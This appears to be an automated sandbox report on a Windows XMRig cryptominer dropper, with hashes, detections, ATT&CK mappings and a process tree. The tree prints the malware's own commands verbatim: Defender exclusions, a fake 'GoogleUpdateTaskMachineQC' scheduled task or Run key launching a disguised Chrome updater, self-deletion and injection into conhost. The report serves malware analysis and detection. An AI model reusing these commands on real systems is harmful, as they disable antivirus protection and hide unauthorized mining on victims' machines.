xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1789s
max time network
1806s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/12/2023, 12:16

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General

Target

qM5GMXBk6hJE6Y5e(14).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2144 created 1288	2144	qM5GMXBk6hJE6Y5e(14).exe	21
PID 2144 created 1288	2144	qM5GMXBk6hJE6Y5e(14).exe	21
PID 2144 created 1288	2144	qM5GMXBk6hJE6Y5e(14).exe	21
PID 2144 created 1288	2144	qM5GMXBk6hJE6Y5e(14).exe	21
PID 2424 created 1288	2424	updater.exe	21
PID 2424 created 1288	2424	updater.exe	21
PID 2424 created 1288	2424	updater.exe	21
PID 2424 created 1288	2424	updater.exe	21
PID 2736 created 1288	2736	conhost.exe	21
PID 2424 created 1288	2424	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 28 IoCs

miner

resource	yara_rule
behavioral15/memory/1952-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral15/memory/1952-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2300	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2424	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2728	taskeng.exe

UPX packed file 29 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral15/memory/1952-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral15/memory/1952-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2424 set thread context of 2736	2424	updater.exe	54
PID 2424 set thread context of 1952	2424	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e(14).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2588	schtasks.exe
2860	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3012	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0f8b72b7a36da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2144	qM5GMXBk6hJE6Y5e(14).exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2536	powershell.exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2676	powershell.exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2144	qM5GMXBk6hJE6Y5e(14).exe
2144	qM5GMXBk6hJE6Y5e(14).exe
3020	powershell.exe
2424	updater.exe
2424	updater.exe
2440	powershell.exe
2424	updater.exe
2424	updater.exe
1344	powershell.exe
2424	updater.exe
2424	updater.exe
2424	updater.exe
2424	updater.exe
2736	conhost.exe
2736	conhost.exe
2424	updater.exe
2424	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	1344	powershell.exe
Token: SeDebugPrivilege	2424	updater.exe
Token: SeAssignPrimaryTokenPrivilege	3012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3012	WMIC.exe
Token: SeSecurityPrivilege	3012	WMIC.exe
Token: SeTakeOwnershipPrivilege	3012	WMIC.exe
Token: SeLoadDriverPrivilege	3012	WMIC.exe
Token: SeSystemtimePrivilege	3012	WMIC.exe
Token: SeBackupPrivilege	3012	WMIC.exe
Token: SeRestorePrivilege	3012	WMIC.exe
Token: SeShutdownPrivilege	3012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3012	WMIC.exe
Token: SeUndockPrivilege	3012	WMIC.exe
Token: SeManageVolumePrivilege	3012	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3012	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3012	WMIC.exe
Token: SeSecurityPrivilege	3012	WMIC.exe
Token: SeTakeOwnershipPrivilege	3012	WMIC.exe
Token: SeLoadDriverPrivilege	3012	WMIC.exe
Token: SeSystemtimePrivilege	3012	WMIC.exe
Token: SeBackupPrivilege	3012	WMIC.exe
Token: SeRestorePrivilege	3012	WMIC.exe
Token: SeShutdownPrivilege	3012	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3012	WMIC.exe
Token: SeUndockPrivilege	3012	WMIC.exe
Token: SeManageVolumePrivilege	3012	WMIC.exe
Token: SeLockMemoryPrivilege	1952	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2676 wrote to memory of 2588	2676	powershell.exe	34
PID 2676 wrote to memory of 2588	2676	powershell.exe	34
PID 2676 wrote to memory of 2588	2676	powershell.exe	34
PID 2300 wrote to memory of 524	2300	cmd.exe	39
PID 2300 wrote to memory of 524	2300	cmd.exe	39
PID 2300 wrote to memory of 524	2300	cmd.exe	39
PID 3020 wrote to memory of 1124	3020	powershell.exe	40
PID 3020 wrote to memory of 1124	3020	powershell.exe	40
PID 3020 wrote to memory of 1124	3020	powershell.exe	40
PID 2728 wrote to memory of 2424	2728	taskeng.exe	42
PID 2728 wrote to memory of 2424	2728	taskeng.exe	42
PID 2728 wrote to memory of 2424	2728	taskeng.exe	42
PID 1344 wrote to memory of 2860	1344	powershell.exe	47
PID 1344 wrote to memory of 2860	1344	powershell.exe	47
PID 1344 wrote to memory of 2860	1344	powershell.exe	47
PID 2424 wrote to memory of 2736	2424	updater.exe	54
PID 2492 wrote to memory of 3012	2492	cmd.exe	49
PID 2492 wrote to memory of 3012	2492	cmd.exe	49
PID 2492 wrote to memory of 3012	2492	cmd.exe	49
PID 2424 wrote to memory of 1952	2424	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1288
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(14).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1344
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2860
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2548
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2492
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2736
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1952

C:\Windows\system32\taskeng.exe
taskeng.exe {12AB8A18-B1D1-43E2-8F3A-CD52F6A32CDC} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2728
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2424

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
866KB

MD5
4369cadfa722d748a2a4adb033223096

SHA1
cbf1f1c808ca64a40808940b329e49d96611adee

SHA256
ffb2a5c4eb6ace239d04001db422235ecadd1280214f2a27e42b41b2d96c25b4

SHA512
fb54c279f897fd17c8c2ca6ebb45ad137b64091c1eec3d7cdad8a495cad82b7b1bf1efa188c6540033f823af40337958fddc50c911aab797d333527a60009f78

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
45KB

MD5
e6d383a88e9ffe3d919af82e1a0cfdb1

SHA1
55c5078350fcdedc2ba39ca2df1ca779921a57e3

SHA256
4d07ed5f82cf67c9aa2c3f5d0fe8309eb122874edb09086e709d1394b227367e

SHA512
db3e2009454c58792dbee8cfb91657569e23429b2534fe5e902295348ec2a8debccdd490e56826dd071ca9df186593f82381561f47f08cdffa2b829a28fda436

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5GETD58O22A7JMT0R3NT.temp

Filesize
7KB

MD5
fcdb449127f982fb51113e74abdbcefc

SHA1
1c3662eb4f27403ec77e795184b095dfd20af51c

SHA256
942d843203057ceb3834f26cd00366b93deeeba56f42361b9b79d7d822b1fd20

SHA512
e43aa83e24f927d1ca72d151be442279676a4e0b82e0aca394dc5afd4e3aeb31c9bb201f8869b1282ad351a90b7c543625c9b5e1bbd26c2a8c91963f6b2c39e8

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
913KB

MD5
b52dfa3eb295c62a2b2cd5ef4b3242f0

SHA1
c0669089971f0c9e7caee4486c98d76e416322d6

SHA256
be59923dd22cfa7ffb3df4be50c339e0afcf468bedfbb586bce66d0e4238d0cc

SHA512
29dc5ba7719e11438145f3cc0725a84a585c58602c238c5182f405c39265977571714e0964db6019578e3dd16fb761f5551d1d3d882a889eaccec99df11bcdd7

Download Submit
memory/1344-58-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1344-57-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/1344-55-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/1344-56-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1344-59-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1344-60-0x00000000010D0000-0x0000000001150000-memory.dmp

Filesize
512KB

Download
memory/1344-61-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/1952-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-82-0x00000000007B0000-0x00000000007D0000-memory.dmp

Filesize
128KB

Download
memory/1952-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-80-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/1952-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1952-72-0x00000000007B0000-0x00000000007D0000-memory.dmp

Filesize
128KB

Download
memory/1952-71-0x0000000000790000-0x00000000007B0000-memory.dmp

Filesize
128KB

Download
memory/1952-69-0x0000000000220000-0x0000000000240000-memory.dmp

Filesize
128KB

Download
memory/1952-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2144-0-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/2144-28-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/2144-31-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/2144-13-0x000000013F090000-0x000000013F2A1000-memory.dmp

Filesize
2.1MB

Download
memory/2424-46-0x000000013FCC0000-0x000000013FED1000-memory.dmp

Filesize
2.1MB

Download
memory/2424-68-0x000000013FCC0000-0x000000013FED1000-memory.dmp

Filesize
2.1MB

Download
memory/2440-49-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/2440-51-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/2440-52-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/2440-50-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2440-53-0x0000000001230000-0x00000000012B0000-memory.dmp

Filesize
512KB

Download
memory/2440-48-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2440-54-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/2536-12-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-8-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2536-6-0x0000000002330000-0x0000000002338000-memory.dmp

Filesize
32KB

Download
memory/2536-10-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2536-5-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download
memory/2536-11-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2536-9-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
